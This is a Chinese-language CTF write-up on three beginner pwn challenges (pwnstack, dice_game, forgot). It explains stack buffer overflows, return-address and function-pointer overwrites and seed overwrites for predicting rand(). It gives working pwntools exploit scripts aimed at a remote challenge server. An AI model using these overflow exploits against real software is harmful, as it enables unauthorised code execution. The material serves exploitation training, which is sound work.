目录

pwn 入门刷题

# pwn 入门刷题

攻防世界pwn题目

# pwnstack

下载拖到ida64里反编译

0

进入到vuln函数,定义了一个160(0xa0)字节的缓冲区,存在一个read函数,会读取177(b1)个字节,导致栈溢出

1

查看汇编代码,看到后门函数,函数地址放在缓冲区后覆盖栈的返回地址0x400762

2

或者通过shift+f12找到/bin/sh字符串,再通过在/bin/sh地址上ctrl+x找到它的引用,也可以找到后门函数的定义

3

4

ctf wiki用一个很好的概念来理解栈的结构,如下

                                           +-----------------+
                                           |     retaddr     |
                                           +-----------------+
                                           |     saved ebp   |
                                    ebp--->+-----------------+
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                              s,ebp-0x14-->+-----------------+
1
2
3
4
5
6
7
8
9
10
11
12

从图中可以看出,s变量一共可以传入的字节大小为14,如果超过的话,多出的就会到saved ebp中,根据我的查阅saved ebp保存的是栈帧,根据栈帧确定变量的返回值,x86saved ebp的大小为4个字节x64saved ebp的大小为8个字节,最后的retaddr就是溢出的部分,我们可以控制retaddr的值,将其修改为我们想要执行函数的内存地址

看一下这题的文件类型,64位,所以saved ebp的大小为8个字节覆盖saved ebp,所以我们需要填充0xa0+8=0xa8个字节,然后,最后填入后门函数的地址0x400762

5

最后发送p64函数包裹的数据,是为了让程序认为这是一个内存地址,不然接受的就是字符0x400762

编写exp:

from pwn import *

# 本地调试
# p = process('./pwn2')
# 远程
p = remote('61.147.171.105', 53646)
payload = b'a' * (0xa0+8) + p64(0x400762)
p.sendline(payload)
p.interactive()
1
2
3
4
5
6
7
8
9

6

远程可以打通,本地打不通,这是什么原因。把后门地址改成0x400766时,本地和远程都可以

# dice_game

ida64反编译,分析主函数,sub_A20,sub_B28等函数

7

8

9

分析这三个函数大概可以知道,这是一个游戏,使用当前时间生成一个种子,调用sub_A20函数使用这个种子生成50个1-6之间的随机数,等待用户输入,如果50道全对,调用sub_B28函数读取flag

在ida里可以看到buf,seed在栈中,buf长度为55,seed长度为2,在0x10位置

10

可以通过buf,覆盖seed,从而控制种子,再利用题目给的libc库里定义的rand函数,就可以生成与题目一样的随机数

from pwn import *
from ctypes import * # 导入ctypes库,用于调用libc库中的函数
#from LibcSearcher import *
context.log_level = 'debug'  # 设置调试模式

r = remote('61.147.171.105',54885)
libc = cdll.LoadLibrary("libc.so.6")#利用题目给的libc库中的函数rand生成与题目一样的随机数。

payload= b'a'*(0x50-0x10)+p64(0)

r.sendafter('Welcome, let me know your name: ',payload)

a=[]

for i in range(50):
    a.append(libc.rand()%6+1)
print(a)

for i in a:
    r.recv()
    print(r.recv())
    r.sendline(str(i))

r.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

11

# forgot

检测一下,32位程序,没有栈保护

12

反编译分析,定义了长度为32位字节的s,作为用户名来接收,可以随便输入。定义了v3,存入了几个函数的地址

定义了长度为32的v2,使用scanf函数接收,没有限制长度,存在栈溢出

13

根据定义的v2,v3,发现缓冲区里可以使用v2溢出覆盖v3

14

在程序的最后有一处动态函数调用

15

shift+f12跟进引用,找到cat flag的函数sub_80486CC

16

所以需要把v3[--v5]也就是v3[1]的地址覆盖为sub_80486CC函数的地址0x80486CC

在这个循环中,会对输入的每一位字符进行检测,如果符合就更改v5的值,进入下一层检测,跟着他的要求做要找到合适的email格式,以及函数地址的改变,题目会变得更难,直接在第一个检测里找到不符合的字符,使每一位都不符合,这样v5就不需要改变了。在检测结束就可以调用目标函数

17

在第一个检测中,检查是否是小写字母、数字,或是特定的几个符号下划线、减号、加号、点,拿大写字母绕过就可以了

_BOOL4 __cdecl sub_8048702(char a1)
{
  return a1 > 96 && a1 <= 122 || a1 > 47 && a1 <= 57 || a1 == 95 || a1 == 45 || a1 == 43 || a1 == 46;
}
1
2
3
4

编写exp

from pwn import *

payload = b'A'*0x20 + p32(0x80486cc)
# p = process('./forgot')
p = remote('61.147.171.105', 61568)
p.sendlineafter('> ','test')
p.sendlineafter('> ',payload)
p.interactive()
1
2
3
4
5
6
7
8

参考:

最后一次更新于: 2024/10/21, 00:48:29